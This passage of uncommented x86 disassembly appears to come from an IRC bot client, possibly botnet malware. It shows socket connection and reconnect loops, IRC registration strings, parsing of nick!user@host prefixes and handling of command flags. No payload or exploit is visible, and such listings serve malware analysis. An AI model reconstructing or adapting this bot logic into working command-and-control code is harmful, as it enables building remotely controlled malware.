[esp+3Ch+var_4], 23h call sub_4017EE push eax push offset dword_449110 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F6D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C5 sub_40FE40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FE58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FE58: ; CODE XREF: ___:0040FE4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FE70 proc near ; CODE XREF: sub_4013C5j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FE70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F028 mov dword ptr [esi+11h], offset off_43F034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B68 sub_40FE70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_40204F mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_410030 proc near ; CODE XREF: sub_402149j var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43A8D3 push eax mov eax, 2478h mov large fs:0, esp call sub_437B30 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_40142E mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411400 loc_410072: ; CODE XREF: sub_410030+13CAj mov al, byte_4E8E54 mov edi, dword_5118AC cmp al, bl jz loc_411400 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_41009A cmp dword ptr [ebp+1Ch], 5 jg short loc_4100A4 cmp eax, ebx jz loc_4101DE loc_41009A: ; CODE XREF: sub_410030+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_4101DE loc_4100A4: ; CODE XREF: sub_410030+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_4100B9 push eax nop call near ptr 71AB9639h loc_4100B9: ; CODE XREF: sub_410030+80j mov ecx, offset word_44AC6E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401541 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401983 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_4100E9 mov [ebp+20h], ebx loc_4100E9: ; CODE XREF: sub_410030+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_401474 mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_4493FD mov ecx, offset word_44ACE6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACE6 add eax, 1B6h push eax push offset dword_4493B4 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACE6 push edx push offset dword_449290 call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 124h push ecx push offset word_449322 mov ecx, offset word_44ACE6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACE6 add eax, 0DBh push eax push offset byte_4492D9 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACE6 add edx, 92h push edx push offset byte_44936B call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_44948F mov ecx, offset word_44ACE6 call sub_401F50 call edi mov [ebp+24h], eax loc_4101DE: ; CODE XREF: sub_410030+64j ; sub_410030+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410208 push 6 push 1 push 2 call near ptr 71AB3B91h nop push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2850000h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410208: ; CODE XREF: sub_410030+1B4j cmp [ebp+15h], bl jnz loc_410398 mov ax, word_44933C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx call near ptr 71AB2B66h nop mov ecx, offset byte_4492D9 mov [esp+24h+arg_1E], ax call sub_4017EE push eax call sub_40188E add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_410288 push 2710h nop call near ptr 2850000h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410288: ; CODE XREF: sub_410030+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h call near ptr 71AB951Eh nop mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5F74D1 add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015E1 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_448F40 mov ecx, offset byte_44936B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410357 mov ecx, offset byte_44936B call sub_4017EE mov edx, dword_4490EC push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h loc_410357: ; CODE XREF: sub_410030+305j mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov eax, dword_4490F4 push eax mov ecx, offset byte_4E8E55 call sub_4017EE mov ecx, dword_4490F0 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E24 add esp, 1Ch jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410398: ; CODE XREF: sub_410030+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_4113F0 call near ptr 27F0BB2h nop lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CD0 lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A9B push offset asc_444600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F8 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_410470 push offset asc_444600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset dword_4493B4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410474 loc_410470: ; CODE XREF: sub_410030+3EAj mov [esp+20h+var_D], bl loc_410474: ; CODE XREF: sub_410030+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410496 mov byte ptr [ebp+16h], 1 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410496: ; CODE XREF: sub_410030+45Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490CC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl push 1 jz short loc_410534 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017EE push eax mov eax, dword_4490E8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410662 ; --------------------------------------------------------------------------- loc_410534: ; CODE XREF: sub_410030+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, dword_4490D0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz loc_4106A0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E8 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410667 push offset asc_444600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017EE push eax mov eax, dword_4490E8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410662: ; CODE XREF: sub_410030+4FFj call sub_401226 loc_410667: ; CODE XREF: sub_410030+5E6j cmp [ebp+16h], bl jnz loc_4113F7 mov ecx, offset byte_4493FD call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov ecx, dword_4490D4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_4106A0: ; CODE XREF: sub_410030+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449108 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410722 push offset asc_444600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_44910C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410727 loc_410722: ; CODE XREF: sub_410030+69Bj mov [esp+20h+var_D], 1 loc_410727: ; CODE XREF: sub_410030+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410794 cmp [ebp+16h], bl jnz short loc_410770 mov ecx, offset byte_4493FD call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov edx, dword_4490D4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h loc_410770: ; CODE XREF: sub_410030+713j mov ecx, offset byte_4E8E55 call sub_4017EE push eax mov eax, dword_4490DC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410794: ; CODE XREF: sub_410030+70Ej push offset asc_444600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490E4 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz short loc_410845 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014DD push eax call near ptr 77C47C60h nop add esp, 8 cmp eax, ebx jz short loc_41082D inc eax lea ecx, [ebp+28h] push eax call sub_4015E1 loc_41082D: ; CODE XREF: sub_410030+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410845: ; CODE XREF: sub_410030+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490E0 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_410880 mov al, byte_449814 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410884 loc_410880: ; CODE XREF: sub_410030+840j mov [esp+20h+var_D], bl loc_410884: ; CODE XREF: sub_410030+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410B91 push offset asc_444C74 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_4108E2 mov ecx, eax call sub_402072 loc_4108E2: ; CODE XREF: sub_410030+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41090E mov ecx, eax call sub_4010BE loc_41090E: ; CODE XREF: sub_410030+8D5j push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401AAF push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410B7C loc_41096F: ; CODE XREF: sub_410030+B46j push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_410997 mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410999 ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_410030+95Aj xor esi, esi loc_410999: ; CODE XREF: sub_410030+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4109CB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4109CF ; --------------------------------------------------------------------------- loc_4109CB: ; CODE XREF: sub_410030+98Cj mov [esp+20h+var_C], ebx loc_4109CF: ; CODE XREF: sub_410030+999j push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013ED test eax, eax jz short loc_4109F2 mov byte ptr [esi+93h], 1 jmp short loc_4109F8 ; --------------------------------------------------------------------------- loc_4109F2: ; CODE XREF: sub_410030+9B7j mov [esi+93h], bl loc_4109F8: ; CODE XREF: sub_410030+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A13 mov byte ptr [esi+94h], 1 jmp short loc_410A19 ; --------------------------------------------------------------------------- loc_410A13: ; CODE XREF: sub_410030+9D8j mov [esi+94h], bl loc_410A19: ; CODE XREF: sub_410030+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A34 mov byte ptr [esi+95h], 1 jmp short loc_410A3A ; --------------------------------------------------------------------------- loc_410A34: ; CODE XREF: sub_410030+9F9j mov [esi+95h], bl loc_410A3A: ; CODE XREF: sub_410030+A02j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FDC lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_448F40 lea ecx, [esi+54h] call sub_4015E1 push offset byte_448F40 lea ecx, [esi+3Fh] call sub_4015E1 push offset asc_444600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FDC lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017EE push eax mov ecx, esi call sub_4015E1 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DFC cmp esi, ebx jz short loc_410B29 push 1 mov ecx, esi call sub_4019E2 loc_410B29: ; CODE XREF: sub_410030+AEEj mov ecx, [esp+20h+var_C] call sub_4013DE inc edi push offset asc_4445EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41096F loc_410B7C: ; CODE XREF: sub_410030+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410B91: ; CODE XREF: sub_410030+86Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490D8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410EAB push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410C0B mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410C0D ; --------------------------------------------------------------------------- loc_410C0B: ; CODE XREF: sub_410030+BCEj xor esi, esi loc_410C0D: ; CODE XREF: sub_410030+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410C3C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410C3E ; --------------------------------------------------------------------------- loc_410C3C: ; CODE XREF: sub_410030+BFFj xor edi, edi loc_410C3E: ; CODE XREF: sub_410030+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013ED test eax, eax jz short loc_410C60 mov byte ptr [esi+95h], 1 jmp short loc_410C66 ; --------------------------------------------------------------------------- loc_410C60: ; CODE XREF: sub_410030+C25j mov [esi+95h], bl loc_410C66: ; CODE XREF: sub_410030+C2Ej push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410C81 mov byte ptr [esi+93h], 1 jmp short loc_410C87 ; --------------------------------------------------------------------------- loc_410C81: ; CODE XREF: sub_410030+C46j mov [esi+93h], bl loc_410C87: ; CODE XREF: sub_410030+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410CA2 mov byte ptr [esi+94h], 1 jmp short loc_410CA8 ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_410030+C67j mov [esi+94h], bl loc_410CA8: ; CODE XREF: sub_410030+C70j push offset asc_444C74 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016B8 push offset asc_444C68 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FDC lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C68 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016B8 push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FDC lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset a@ ; "@" lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016B8 push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FDC mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FDC lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C64 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410E7D add eax, 2 push eax jmp short loc_410E82 ; --------------------------------------------------------------------------- loc_410E7D: ; CODE XREF: sub_410030+E45j push offset byte_448F40 loc_410E82: ; CODE XREF: sub_410030+E4Bj mov ecx, esi call sub_4015E1 push ebx push esi mov ecx, edi call sub_401DFC cmp esi, ebx jz short loc_410E9F push 1 mov ecx, esi call sub_4019E2 loc_410E9F: ; CODE XREF: sub_410030+E64j mov ecx, edi call sub_4013DE jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_410EAB: ; CODE XREF: sub_410030+BADj push offset asc_444600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490FC mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411080 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push edx call sub_4016B8 mov ecx, offset word_44AC6E call sub_401CE4 cmp eax, ebx jz short loc_410F72 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_444600 ; 